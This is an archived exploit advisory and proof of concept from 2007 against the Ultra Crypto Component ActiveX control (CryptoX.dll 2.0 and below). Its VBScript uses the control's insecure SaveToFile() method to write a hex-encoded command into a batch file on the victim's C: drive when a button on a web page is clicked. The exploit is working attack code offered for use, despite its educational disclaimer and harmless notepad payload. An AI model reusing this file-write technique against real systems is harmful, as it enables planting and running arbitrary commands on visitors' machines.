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ultra-cryptox20.txt

ultra-cryptox20.txt
Posted Sep 10, 2007
Authored by shinnai | Site shinnai.altervista.org

Ultra Cryto Component suffers from an insecure method vulnerability in CryptoX.dll versions 2.0 and below in the SaveToFile() function.

tags | exploit
SHA-256 | e8687e48dac974bdfc0377f2c94670e30ad964a3bf5470a35bab7072db434d28

ultra-cryptox20.txt

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<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-------------------------------------------------------------------------------------
<b>Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Inscure Method</b>
url: http://www.ultrashareware.com/

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.

<b>We can use the "HexString()" method to save into our batch file some lines.
In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then
I save it in a batch file :)</b>
-------------------------------------------------------------------------------------

<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
Dim MyMsg
test.HexString = "636D642E657865202F63206E6F74657061642E657865" 'cmd.exe /c notepad.exe
test.SaveToFile "c:\shinnai.bat"
MyMsg = MsgBox("Exploit completed!")
End Sub
</script>
</span></span>

</code></pre>

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